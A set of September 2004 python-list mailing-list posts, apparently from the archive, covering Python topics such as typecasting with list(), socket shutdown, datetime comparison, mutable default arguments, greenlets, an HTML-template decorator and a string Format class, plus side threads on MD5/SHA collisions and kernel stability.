	<Jvo%c.214562$OR2.9955162@news3.tin.it>
	<mailman.3002.1094600560.5135.python-list@python.org>
	<1gjsc88.1ufkzncvrngdN%aleaxit@yahoo.com>
	<mailman.3032.1094650922.5135.python-list@python.org>
Message-ID: <1gjt1ki.147l15b1p08xehN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:
   ...
> I'm thinking. Let me put it out this way: how can one "typecast" a
> generator? It seems to be conceptually different from "typecasting" an
> expression, a function, or variable, or a constant value.

Hmmm, OK, I guess, though I guess I still don't get it.


> After some pondering, I think I can rephrase my statement as:
> 
> "Extending your reasoning a little bit, list(anything) smells a
> typecast -- something that's used to convert a VALUE of one type into
> a VALUE of another type".
> 
> I prefer value in this context because the typecast really converts
> the value returned by the expression to another type. Did it sound
> right now?

It sounds perfect, except that for maximum clarity I would phrase it as
"make a new VALUE of one type from some VALUE of another (or the same)
type".  At least, that's how typecasting works in C++, which is the
widespread language in which you can use the sometypename(xyz) syntax;
it's calling the constructor of class 'sometypename' to make a new
instance of that class from whatever value 'xyz' stands for (if xyz's
type is already 'sometypename', it's making a new value of that type,
it's calling the copy constructor; otherwise it's calling some other
appropriate overloaded constructor depending on xyz's type).  In Java,
where typecasting must use the different syntax (typename)xyz, there is
no building of a new value with it -- to build a new value you use the
keyword 'new', as in "new typename(xyz)" (well, mostly you do, it's a
bit more complicated than that).

Python here uses the same syntax and semantics as C++, typename(xyz)
makes a new instance of that type, calling the constructor with the
value of xyz as the argument (there are no overloads involved, if any
typechecking on xyz's type is needed then typename's constructor must
deal with that).


> > Yes, it does read as a loop.  The funny thing is, I haven't seen the
> > same issues regarding sum(somenumbers()) -- which reads as a function
> > call, syntactically the same as list(somenumbers()), not as a loop.
> 
> Your example made me realize that the underlying problem is (again)
> the functional versus the imperative programming model. Let us think
> about it from "outside the box", looking at the words as someone who
> don't know Python yet:

OK, but if that someone thinks in terms of typecasting when he sees a
typename called with one argument, maybe that someone comes from C++,
and so presumably reads the call to the type as "make a new value of
that type", right?

> 
> -- sum(values()) is read as "sum all these values". It's a clear
> interpretation, both in functional and imperative terms.

Yep, though functionally it would be "THE sum OF all these values", noun
and verb happen to coincide here in the word 'sum'.  This is not a type
name, so the 'typecast' argument above can't apply, either.

> 
> -- list(values()) is read as "list all these values". The functional
> interpretation is easy -- it should return a list of all values. But
> the traditional definition of the word "list" in imperative
> programming is different -- it is associated with the action of
> printing out a list of values. Our problem should be stated in
> imperative terms as "put all these values into a list".

"Make a new list with these values", just like int(somestr) is "Make a
new int with this string", typename(xyz) is "Make a new instance of
typename with xyz", and so on.  At least, that's what I would expect
from the "typecast" mindset.

> 
> Many programmers were trained all their lives to think in the
> imperative way, not the functional one, and that's probably the real
> underlying problem. In a sense, *if* the list() builtin was named
> makelist() -- an imperative spelling of the same concept -- I think
> nobody would think twice before using it instead of the list
> comprehension version. (Please, I'm far from advocating to change the
> list() name -- the current name is fine and really ellegant -- I'm
> just trying to point out a difference in mental models).

There seem to be two issues which look mutually exclusive to me.
Reading the call to a type as a typecast, i.e. "make a(n instance of
this) type", should work just fine imperatively as well as procedurally,
the "make" verb being implied by the concept of typecast (well, not in
Java, but that uses a different syntax anyway).  Misreading 'list' as an
imperative verb rather than a typename would seem to preclude any
reading as "typecast".  I guess that people are excellent at having two
vague and contradictory mental models at the same time (the world is so
complicated than the ability to hold mutually contradictory beliefs has
no doubt always been pretty adaptive!-).

Well, thanks to you and Anna -- you've given me a lot of food for
thought.  I think I'll ask _her_ to edit the recipe about how to make a
list, which I had already written thinking of placement very early in
the first chapter of the 2nd edition of the Cookbook -- with this
discussion as a point of reference, plus her own thoughts in the matter,
she should be able to clarify this whole issue most usefully.


Thanks,

Alex


From russblau at hotmail.com  Tue Sep 28 12:45:23 2004
From: russblau at hotmail.com (Russell Blau)
Date: Tue, 28 Sep 2004 12:45:23 -0400
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
	<2rt8rsF1ej1qmU1@uni-berlin.de>
	<415976d1$0$23090$ba624c82@nntp05.dk.telia.net>
Message-ID: <2rtip4F1cn1nmU1@uni-berlin.de>

"Ling Lee" <janimal at mail.trillegaarden.dk> wrote in message
news:415976d1$0$23090$ba624c82 at nntp05.dk.telia.net...
> I have read the tutorial, but still its a bit hard for me to see how I
make
> the loop and how I count the lengt of the number. When I use the
len(input)
> I get the reply:  Error len() of unsized object. Think that is why len()
> only works on dictionaries and lists, not strings.

>>> len("I am a string.")
14

Maybe it was a spelling error -- did you type len(input) instead of
len(indput) perhaps?

-- 
I don't actually read my hotmail account, but you can replace hotmail with
excite if you really want to reach me.




From bryanjugglercryptographer at yahoo.com  Wed Sep 15 19:38:26 2004
From: bryanjugglercryptographer at yahoo.com (Bryan Olson)
Date: 15 Sep 2004 16:38:26 -0700
Subject: socket programming
References: <mailman.3372.1095266959.5135.python-list@python.org>
Message-ID: <1a517b5.0409151538.b71526b@posting.google.com>

Ajay wrote:
[...]
> the code is
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
[...]
> the problem is when my client finished sending and waits to receive, on the
> server side, it still stays in the while loop waiting to receive more data.

SOCK_STREAM sockets have no concept record-boundary.  If you 
need to convey the end of one message, but keep the connection 
open, then you need to define or find a protocol that builds 
distinct messages on top of the byte stream.

If the client is truly done sending on that socket, it can call 
s.shutdown(1). Then, after the server has received all the sent 
data, (the socket will select as readable and) the server's next 
recv will return, but the size of the read will be zero bytes.

Remote shutdown of sending is the only case in which recv will 
succeed with a zero size.  If remote side has not shut down, and 
there is no data available, a recv on a blocking sockets will 
block, and non-blocking sockets will raise/return EWOULDBLOCK.


-- 
--Bryan


From Jack.Jansen at cwi.nl  Thu Sep 16 15:48:09 2004
From: Jack.Jansen at cwi.nl (Jack Jansen)
Date: Thu, 16 Sep 2004 21:48:09 +0200
Subject: Python/PSF at SANE 2004 - Announcement and a request for help
Message-ID: <5615AEDA-0819-11D9-8800-000D934FF6B4@cwi.nl>

At this years' SANE conference (System Administration and Networking 
Europe, www.sane.nl) in Amsterdam there will be a Free and Open Source 
Bazar on wednesday evening, september 29, from 18.30 until 22.00. The 
bazar will be open to the general public (i.e. free as in beer), and 
about 20 FOSS groups will be present. In addition, Richard Stallman 
will present a talk.

Among the groups present is, you guessed it, the Python Software 
Foundation. And the person who volunteered for this is, you guessed it, 
me. The intention is to provide visitors with information on both the 
Python language and the PSF. The setting is informal: there will be a 
tabletop and a backdrop we can use to put material up. In addition 
there are rooms available to hold BOF sessions.

That concludes the announcement bit, on to the request bit: I'm looking 
for people who'd be willing to join me in manning the stand. And, 
ideally, also with preparing some material to put up on the backdrop 
and/or demonstrations we could stage (I can supply the computer, 
provided it's a Macintosh:-) But if you'd just like to loiter at the 
stand to tell people how wonderful Python is that's also very welcome.

Please let me know if you're willing to help,
--
Jack Jansen, <Jack.Jansen at cwi.nl>, http://www.cwi.nl/~jack
If I can't dance I don't want to be part of your revolution -- Emma 
Goldman



From peter at somewhere.com  Thu Sep 16 07:25:25 2004
From: peter at somewhere.com (Peter Maas)
Date: Thu, 16 Sep 2004 13:25:25 +0200
Subject: comparing datetime with date
In-Reply-To: <cibqot$mrq$00$1@news.t-online.com>
References: <mailman.3292.1095162740.5135.python-list@python.org>
	<ci6r7k$gav$03$1@news.t-online.com>
	<cibk8f$oat$1@swifty.westend.com>
	<cibqot$mrq$00$1@news.t-online.com>
Message-ID: <cibt77$399$1@swifty.westend.com>

Diez B. Roggisch schrieb:
>>datetime and date are different by implementation, not by meaning. Both
>>are time intervals.
> 
> 
> Neither of them is - they are discrete points in time, with different
> resolution.
> 
> There is a difference in saying "vacation starts at 9/9/2004" or "lets meet
> at 9/9/2004, 12:00" - even to non-programmers.

There are several meanings. A date is valid for 24 hours. If you think
of a date as point in time there is usually a time part of 0:00 silently
added. No matter which meaning you prefer: Evaluating 2004-09-16 ==
2004-09-16T3:14 as true is very surprising.

You could as well say that int(3) == 3.14 is true (disregarding the
fractional part of the second operand).

-- 
-------------------------------------------------------------------
Peter Maas,  M+R Infosysteme,  D-52070 Aachen,  Tel +49-241-93878-0
E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64')
-------------------------------------------------------------------


From stevena at neosynapse.net  Wed Sep 29 23:23:29 2004
From: stevena at neosynapse.net (Steven Arnold)
Date: Wed, 29 Sep 2004 23:23:29 -0400
Subject: constructing binary backslash-n
In-Reply-To: <1f7befae04092919484211a3bb@mail.gmail.com>
References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net>
	<1f7befae04092919484211a3bb@mail.gmail.com>
Message-ID: <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net>

Something seemed to screw up my message, putting two backslashes 
everywhere I put only one.  That probably led to your confusion.  It 
seems that Jeff may have been similarly confused.  I'll try again.

I want to be able to receive a letter like 'n', let's say as user 
input, and generate the single byte escape value of backslash-n or 
ASCII 10, as a string of length 1.  If the user provided the letter 
'r', I would return a string one character long, for which 
ord(my_string) == 13.  This should be equivalent to the string 
'<backslash>r'.

I imagine the solution is extremely simple and I'm missing something 
obvious, although my description of the problem up to now hasn't been. 
;-)  Is this clearer?

Thanks,
steve



From newsgroups at jhrothjr.com  Sun Sep 12 13:21:36 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sun, 12 Sep 2004 12:21:36 -0500
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<mailman.3198.1094942493.5135.python-list@python.org>
Message-ID: <10k91e7174bvh20@news.supernews.com>


"Tim Churches" <tchur at optushome.com.au> wrote in message 
news:mailman.3198.1094942493.5135.python-list at python.org...
> On Sun, 2004-09-12 at 02:59, Magnus Lie Hetland wrote:
>> Basically, at Crypto 2004 preliminary papers were presented that
>> pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell,
>> MD5 is broken and SHA-1 seems to be in a precarious position (even
>> though I don't know the details at all).
>
> IANAC, but it is important to keep in mind that only one aspect of MD-5
> and a weakened version of SHA were "broken": collision resistance. My
> understanding is that the other important qualities of a cryptographic
> has function, preimage resistance and 2nd preimage resistance, were not
> assailed.
>
> Collision resistance is how difficult it is to find two input values
> which produce the same has value. Weakened collision resistance
> undermines digital signatures (at least in theory - practical attacks
> may still be difficult).
>
> Preimage resistance measures the difficulty of finding an input which
> results in a particular hash value. You don't know the original input.
> Poor preimage resistance undermines the security of hashed passwords and
> similar uses.
>
> 2nd preimage resistance is the difficulty of finding an input which
> hashes to the same value that some other given input hashes to. Like
> preimage resistance but you do know the other input value. How is this
> different to collision resistance? Collision resistance is the
> difficulty of finding ANY two inputs which hash to the same but
> arbitrary output value, whereas preimage resistance and 2nd preimage
> resistance are about finding input values which hash to a PARTICULAR
> output value. Clearly that's much harder, and the recently reported work
> didn't address that issue, I think.

And that, of course, is the critical issue for such applications as 
verifying
that a download is intact.

John Roth
>
> -- 
>
> Tim C
>
> PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere
> or at http://members.optushome.com.au/tchur/pubkey.asc
> Key fingerprint = 8C22 BF76 33BA B3B5 1D5B  EB37 7891 46A9 EAF9 93D0
>
>
> 




From jeffrey at fro.man  Tue Sep 21 10:27:49 2004
From: jeffrey at fro.man (Jeffrey Froman)
Date: Tue, 21 Sep 2004 07:27:49 -0700
Subject: Just curious
References: <pan.2004.09.20.20.45.09.246503@NOSPAMrosecott.ukfsn.org>
	<1gkfqak.kalu9hyqxvozN%aleaxit@yahoo.com>
Message-ID: <10l0ej8j45fqq88@corp.supernews.com>

Alex Martelli wrote:

> Apparently?some
> headers get mangled in such a way that your reader loses track of the
> threads (so does the one I'm using these days -- MacSOUP -- but the one
> I used to use, KNode, had no such problem).

Using KNode here, and I see this happen regularly with c.l.p. as well. I
wind up using the search feature a lot to find the original post.

Jeffrey


From fredrik at pythonware.com  Fri Sep 24 04:47:18 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 24 Sep 2004 10:47:18 +0200
Subject: Unexpected Python Behavior
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com>
Message-ID: <cj0mqt$j98$1@sea.gmane.org>

Simon Wittber wrote:

> It took me a while to work out that default keyword argument values
> are likely only evaluated once, which caused the empty dict to be
> shared across classes...

some relevant links:

    http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects
    http://docs.python.org/tut/node6.html#SECTION006710000000000000000
    http://docs.python.org/ref/function.html

> It certainly something newbie python coders should look out for!

it's a well-known "you'll only do this once" mistake.  which is a good thing,
because when you understand why this happens, you have learned a lot about
how "def" and objects work in Python...

</F> 





From aahz at pythoncraft.com  Tue Sep 21 16:41:01 2004
From: aahz at pythoncraft.com (Aahz)
Date: 21 Sep 2004 16:41:01 -0400
Subject: Python for Perl programmers?
References: <c1e48b51.0409201820.217e1dd@posting.google.com>
	<414f98a5@news01.argolink.net>
Message-ID: <ciq3kt$ksh$1@panix2.panix.com>

In article <414f98a5 at news01.argolink.net>,
John Zhuang <zhuangzy at cn.ibm.com> wrote:
>
>      Perl To Python Migration
>      By Martin C. Brown

Bad book.  Maybe someday I'll write up all the problems I have with it,
but the short form is that there are lots of typos and plain wrong
information.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"A foolish consistency is the hobgoblin of little minds, adored by little
statesmen and philosophers and divines."  --Ralph Waldo Emerson


From mwh at python.net  Mon Sep 13 08:15:02 2004
From: mwh at python.net (Michael Hudson)
Date: Mon, 13 Sep 2004 12:15:02 GMT
Subject: Greenlets: where are they now???
References: <foadnUs_VtNpFdncRVn-jQ@lmi.net>
Message-ID: <m37jqybc1m.fsf@pc150.maths.bris.ac.uk>

"David Pokorny" <davebrok at soda.csua.berkeley.edu> writes:

> Hi,
> 
> A few weeks ago, I discovered Armin Rigo's greenlets and thought they were
> brilliant. I'm seriously thinking about using them, and at least someone
> else is
> 
> http://www.eby-sarna.com/pipermail/peak/2004-August/001720.html
> 
> Currently, I understand that Greenlets are more-or-less hidden from the
> public eye in the Stackless CVS, even though they compile and work like a
> charm with regular CPython. Given all the desire for full coroutines that I
> hear on Python-dev, greenlets strike me as genuine "hidden treasure." Here
> is my point:
> 
> A) Why aren't greenlets being considered as a solution to coroutines? (Do
> people feel that "hacking the C stack is bad" is a compelling argument? It
> strikes me that any coroutine implementation in CPython will have to do
> this.)

I think the answer to your parenthetical question is "yes".

> B) Will a later version of CPython support greenlets natively? (in
> particular by adding the appropriate entries to PyThreadState)

Pass.

"It is tough to make predictions, especially about the future."
         -- Yogi Berra

> C) Will greenlets ever be released? Is there a ToDo list that prevents their
> release?

I think lack of tuits is the main thing.  I don't know if there are
obscure bugs or something like that.

> D) How did he come up with a cool name like "Greenlet"?

Like Peter said, I presume it's a play on "green threads".

I'm fairly sure that (a) the only person who can really answer your
questions is Armin himself and (b) Armin doesn't read
comp.lang.python.  I'll try to catch him on IRC and point him here,
but you might want to email him yourself...

Cheers,
mwh

-- 
  <spiv> As far as I'm concerned, the meat pie is the ultimate unit
         of currency.                           -- from Twisted.Quotes


From amajorel at teezer.fr  Thu Sep  2 17:44:46 2004
From: amajorel at teezer.fr (Andre Majorel)
Date: Thu, 2 Sep 2004 21:44:46 +0000 (UTC)
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
Message-ID: <slrncjf52a.oa.amajorel@vulcain.knox.com>

On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote:
> On Thu, 2 Sep 2004 18:19:43 +0000 (UTC), Andre Majorel  
><amajorel at teezer.fr> wrote:
>
>> On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote:
>>
>>> The fact that the NT kernel is not entirely stable yet really
>>> shouldn't supprise anyone. Afterall Unix has messed with it's
>>> kernel for 30 years.
>>
>> I feel compelled to point out that Linux achieved considerably
>> better stability after just a few years.
>>
>
> I feel compelled to replay that Linux is based on the Posix standard
> which is basically a recipie for writing unix. They did not write a
> new operating system. They implemented a tested and proven one.

Are you arguing that the stability comes from the API, not from
the implementation ? If so, why has NT become more stable over
the years, since its API has not changed ?

-- 
Andr? Majorel <URL:http://www.teaser.fr/~amajorel/>
Conscience is what hurts when everything else feels so good.


From carribeiro at gmail.com  Wed Sep 15 18:11:56 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 15 Sep 2004 19:11:56 -0300
Subject: Using a decorator for generic html templates
Message-ID: <864d37090409151511b2ad9c4@mail.gmail.com>

Hello all,

While studying some of the templating systems available for Python,
I've come up with an idea to implement templates using decorators. The
following code snippet runs in Python 2.3; a few 2.4 only extensions
are shown as comments. Please note that I have shamelessly copied the
trim function from PEP 257, because it's needed to have the strings
properly formatted.

============================
#
# HTML templating decorator
# Carlos Ribeiro
# carribeiro at gmail.com
# http://pythonnotes.blogspot.com
#

import sys

def trim(docstring):
    # shamelessly taken from PEP 257:
    # http://www.python.org/peps/pep-0257.html
    if not docstring:
        return ''
    # Convert tabs to spaces (following the normal Python rules)
    # and split into a list of lines:
    lines = docstring.expandtabs().splitlines()
    # Determine minimum indentation (first line doesn't count):
    indent = sys.maxint
    for line in lines[1:]:
        stripped = line.lstrip()
        if stripped:
            indent = min(indent, len(line) - len(stripped))
    # Remove indentation (first line is special):
    trimmed = [lines[0].strip()]
    if indent < sys.maxint:
        for line in lines[1:]:
            trimmed.append(line[indent:].rstrip())
    # Strip off trailing and leading blank lines:
    while trimmed and not trimmed[-1]:
        trimmed.pop()
    while trimmed and not trimmed[0]:
        trimmed.pop(0)
    # Return a single string:
    return '\n'.join(trimmed)

def raw_html_template(func):
    """
    Transforms a simple raw html template function into a function that
    returns the __doc__ string. Non-significant spaces are removed,
    making the resulting output indent correctly.
    """
    def new_func(args):
        return func.__doc__
   
    #new_func.func_name = func.func_name   # 2.4 only
    return new_func

class Root:
    #@raw_html_template   # 2.4 only
    def index(self):
        """
        <html>
          <body>
            <h1>Hello World!</h1>
          </body>
        </html>
        """ 
        
    index = raw_html_template(index)   #2.3 only

A simple test run is:

>>> r = Root()
>>> r.index()
'\n        <html>\n          <body>\n            <h1>Hello
World!</h1>\n          </body>\n        </html>\n        '
>>> 

============================
Comments about this technique:

1) It abuses the doc string to obtain the desired effect. While some
may not like it as a hack, it's actually very clean; the resulting
code looks really nice without extra clutter.

2) More advanced decorators can be supported. For example, embedded
tags can be pre-processed by the decorator, either at "decorating
time" (when the decorator function is run) or at runtime (by means of
special code in the decorated function).

3) Methods that interleave Python code and raw HTML code are *much*
more difficult to handle. I don't have enough knowledge to deem them
impossible, but that's my best guess now. *If* someone is brave enough
to try it, my guess is that it has to rely very heavily on
introspection and low-level disassembly hacks. Not for the faint of
heart... and too [asm|C|INTERCAL]-ish for my taste :-)

4) Another approach that could be possibly taken is to use a metaclass
to control the decoration of all methods that have only docstrings and
no code. Using introspection, the constructor could check all methods
and decorate the ones that need it, building the new object
accordingly.

5) In real world applications, performance may be a concern. I don't
know if the decorator is applied every time a new object instance is
created, or if a caching mechanism of some type is used. If the
decorator is run everytime a new instance is about to be created, then
a different approach is needed, because many web application
frameworks rely on short lived objects to represent stuff such as
actual page handlers. That's where a metaclass approach could be more
useful.

6) Last, I don't know if the trim() function is available through some
of the standard libraries, and I have no idea upon where to look after
it. But it would be a good idea to call the standard implementation
instead of repeating the code here. (btw, the implementation has a
small bug: it leaves some extra space at the last line that should be
removed).


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From carribeiro at gmail.com  Wed Sep  8 10:51:39 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 8 Sep 2004 11:51:39 -0300
Subject: Question: tools for business apps development
In-Reply-To: <E0922EB9-01A3-11D9-A2ED-000A957911BC@ksenia.nl>
References: <mailman.2847.1094238878.5135.python-list@python.org>
	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>
	<864d370904090606465938fea5@mail.gmail.com>
	<mailman.2980.1094568177.5135.python-list@python.org>
	<2q5vvrFrq42gU2@uni-berlin.de>
	<E0922EB9-01A3-11D9-A2ED-000A957911BC@ksenia.nl>
Message-ID: <864d3709040908075150158590@mail.gmail.com>

Hello all,

Thanks to all that have contributed so far. Some very good suggestions
have appeared. I still have my concerns over XUL. Flash is also
another matter -- it requires yet another set of knowledge and tools
before starting to write code. But nonetheless, all these approaches
have their own advantages, namely a richer user experience than it's
possible with plain HTML (or even Tk). So they're really worth
checking.

As a dig deeper in the search of a business development paradigm for
Python, the more problems I find. It's not only lack of tools. It's
also the lack of a common idiom to write business apps. Each and every
library around uses a different approach to map business objects and
concepts to Python's code. Each one ties things together in a
different way. It's surprising, considering that in Python normally
"there is one way to do it". Not this is a show stopper -- it only
shows how far we are now from something like J2EE.

I'll keep looking around and checking more stuff. As far as the user
interface is concerned --  I'll probably do it simple, using HTML and
Javascript. Yes, I'm going to implement a webapp, instead of a native
Windows app, or at least that's the current choice (my friend changed
his mind over this). But I'll keep posting my progress.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From fredrik at pythonware.com  Sun Sep 12 07:55:03 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 12 Sep 2004 13:55:03 +0200
Subject: image library
References: <OCQ0d.14024$ug2.6155@fe2.texas.rr.com>
Message-ID: <ci1deq$cp2$1@sea.gmane.org>

Stan Cook wrote:

> Does anyone know of an image library that can handle group 4
> tiffs?

here's one:

http://article.gmane.org/gmane.comp.python.image/1105

tiffcp+pil is another one.

</F>





From mwh at python.net  Wed Sep 15 11:26:12 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Sep 2004 15:26:12 GMT
Subject: Python Oddity - print a reserved name
References: <6f402501.0409150404.75292b5a@posting.google.com>
	<wfX1d.159823$4o.57181@fed1read01>
	<1gk5yjn.12y25b4detf0pN%aleaxit@yahoo.com>
Message-ID: <m3acvr8sff.fsf@pc150.maths.bris.ac.uk>

aleaxit at yahoo.com (Alex Martelli) writes:

> This kind of thing, however, is also true of CPython whenever it's
> accessing "outside" objects through attributes; and for .NET
> implementations I believe that CLR compliant languages are not
> allowed to forbid certain method names along their interfaces to
> other components.  I'm not sure how CORBA's standard Python bindings
> address the same problem, how it's met in various interfaces to
> XML-RPC, COM, SOAP, and other distributed-objects or foreign-objects
> APIs.

I'm fairly sure the approach taken by CORBA bindings is the good old
"append an underscore" hack.  I don't know what happens if an
interface declares methods called both "print" and "print_", but
giving the author a good kick seems an appropriate response...

> Given how pervasive this problem is, I do recall some ruminations
> about allowing arbitrary identifiers in the specific case in which
> they fall right after a dot in a compound name.  I don't recall that
> anything ever came of these ruminations, though.

I think the only problem is that noone has done the work yet.
Python's parser isn't the nicest thing ever.  Two snippings spring to
mind:

	/* This algorithm is from a book written before
	   the invention of structured programming... */

(Parser/pgen.c from the Python source).

<glyph> It's interesting that people often say "Hey, I'm looking for
        something to work on!"
<glyph> then someone else says "Glyph's code needs a little help."
        then the original asker says "SWEET MARY MOTHER OF GOD I'M NOT
        TOUCHING THAT!  I mean, uh, that's too much work or I'm not
        good at it.  Or something."

(from Twisted.Quotes).

It's not my itch, and I'm not that interested in learning how to
scratch it...

Cheers,
mwh

-- 
  Finding a needle in a haystack is a lot easier if you burn down
  the haystack and scan the ashes with a metal detector.
      -- the Silicon Valley Tarot (another one nicked from David Rush)


From __peter__ at web.de  Sat Sep 11 06:16:27 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 11 Sep 2004 12:16:27 +0200
Subject: string formatting with mapping & '*'...  is this a bug?
References: <20040909140649.6d2eff6e@gypsy.pfortin.com>
	<Xns955F779C04101OKB@130.133.1.4>
	<20040909152328.2233c917@gypsy.pfortin.com>
	<chqjc3$n2o$00$1@news.t-online.com>
	<1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com>
	<20040909183705.69696290@gypsy.pfortin.com>
	<1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com>
	<20040910064659.7a1c66af@gypsy.pfortin.com>
Message-ID: <chuj9r$833$02$1@news.t-online.com>

I've written a class that automatically generates a format string ready for
dual application of '%'. Instead of 

>>> d = dict(val=1.234, width=10, prec=2)
>>> "%%(val)%(width)d.%(prec)df" % d % d
'      1.23'

you can now write

>>> Format("%(val)*(width).*(prec)f") % d
'      1.23'

which is slightly more readable. Not tested beyond what you see.

Peter

import re

class Format:
    """
    Extends the format string to allow dict substitution for width and
    precision.

    >>> Format("%(value)*(width)s") % dict(value=1.234, width=10)
    '     1.234'

    >>> Format("%(value)*(width).*(prec)f") % dict(value=1.234, width=-10,
prec=2)
    '1.23      '

    """
    _cache = {}
    # Generously allow all ascii characters as format specifiers :-)
    rOuter = re.compile(r"(%(\(.*?\)|[^A-Za-z%])*[A-Za-z%])")
    rInner = re.compile(r"\*\(.*?\)")

    def __init__(self, format):
        self.format = self.prepare(format)

    def subInner(self, match):
        # called for every width/prec specifier, e. g. "*(width)"
        s = match.group(0)
        return "%" + s[1:] + "s"

    def subOuter(self, match):
        # called for every complete format, e. g. "%(value)*(width)s"
        s = match.group(0)
        if s == "%%":
            return "%%%%"
        return "%" + self.rInner.sub(self.subInner, s)

    def prepare(self, format):
        """ Modify the format for a two-pass 'format % dict % dict'
            appliction. The first pass replaces width/prec specifiers
            with integer literals
        """
        cached = self._cache.get(format)
        if cached is not None:
            return cached
        result = self._cache[format] = self.rOuter.sub(self.subOuter,
format)
        return result

    def __mod__(self, dict):
        return self.format % dict % dict

if __name__ == "__main__":
    f = Format("%(value)*(width).*(prec)f (literal) "
            "%(string)s [%(integer)3d] %% [%(integer)-*(width)d]")
    print f % dict(value=1.2345, width=5, prec=2, string="so what",
        integer=11)


    # Abusing your code as a test case...
    fmt = { 'wDate':10, 'wOpen':6, 'wHigh':6, 'wLow':6,  # width
            'wClose':6, 'wVolume':10, 'wAdjClose':6,
            'pDate':10, 'pOpen':2, 'pHigh':2, 'pLow':2,  # precision
            'pClose':2, 'pVolume':0, 'pAdjClose':2 }

    # data will be read from several thousand files
    sampledata = [
        "9-Sep-04,19.49,20.03,19.35,19.93,60077400,19.93",
        "8-Sep-04,18.96,19.53,18.92,18.97,52020600,18.96",
        "7-Sep-04,18.98,19.18,18.84,18.85,45498100,18.84",
        ]

    change=["down","up","n/c"]

    for D in sampledata:
        Date, Open, High, Low, Close, Volume, AdjClose = D.split(',')

        map = dict(Date=Date,
                Open=float(Open),
                High=float(High),
                Low=float(Low),
                Close=float(Close),
                Volume=int(Volume),
                AdjClose=float(AdjClose),
                #
                Change=change[int(float(AdjClose) >= float(Open)) +
                                int(float(AdjClose) == float(Open))]
                )
        map.update(fmt)


        new = Format(
            "%(Date)*(wDate).*(pDate)s "
            "%(Open)*(wOpen).*(pOpen)f "
            "%(High)*(wHigh).*(pHigh)f "
            "%(Low)*(wLow).*(pLow)f "
            "%(Close)*(wClose).*(pClose)f "
            "%(Volume)*(wVolume).*(pVolume)d "
            "%(AdjClose)*(wAdjClose).*(pAdjClose)f "
            "%(Change)s") % map

        old = (
            "%%(Date)%(wDate)d.%(pDate)ds "
            "%%(Open)%(wOpen)d.%(pOpen)df "
            "%%(High)%(wHigh)d.%(pHigh)df "
            "%%(Low)%(wLow)d.%(pLow)df "
            "%%(Close)%(wClose)d.%(pClose)df "
            "%%(Volume)%(wVolume)d.%(pVolume)dd "
            "%%(AdjClose)%(wAdjClose)d.%(pAdjClose)df "
            "%%(Change)s") % fmt % map

        assert old == new



From rpw3 at rpw3.org  Fri Sep  3 00:29:50 2004
From: rpw3 at rpw3.org (Rob Warnock)
Date: Thu, 02 Sep 2004 23:29:50 -0500
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<877jrcjy1n.fsf@thalassa.informatimago.com>
	<ch7tud$16m$1@baldur.whoi.edu>
	<slrncjf0iv.7vj.a.krey@inner.h.uberluser.org>
Message-ID: <jpSdneJkVK-jbqrcRVn-hg@speakeasy.net>

Andreas Krey  <yyx-nospam at gmx.de> wrote:
+---------------
| I don't know whether the 68000 already had user and supervisor
| mode which is also (besides an MMU) a prerequisite for completely
| jailing user programs.
+---------------

Yes, it did. The original Fortune Systems box used a 68000 to run
a hybrid ATT-v.7/BSD-4.1a kernel. It "completely jailed" user programs,
as you put it. Though, as others have noted, since the 68000 could not
recover from arbitrary bus faults (SIGSEGVs), we were only able to
provide whole-process swapping, not general paging.

But as a consequence of this limitation, we were able to use a *much*
simpler external MMU, basically a four-segment base/limit style (think
of a PDP-10 with 4 segs instead of 2, or a PDP-11/44 with 4 instead of 8)
built out of 4x4 register files (74S670's, IIRC) instead of the expensive,
fast SRAMs Sun later used on their 68020 box.


-Rob

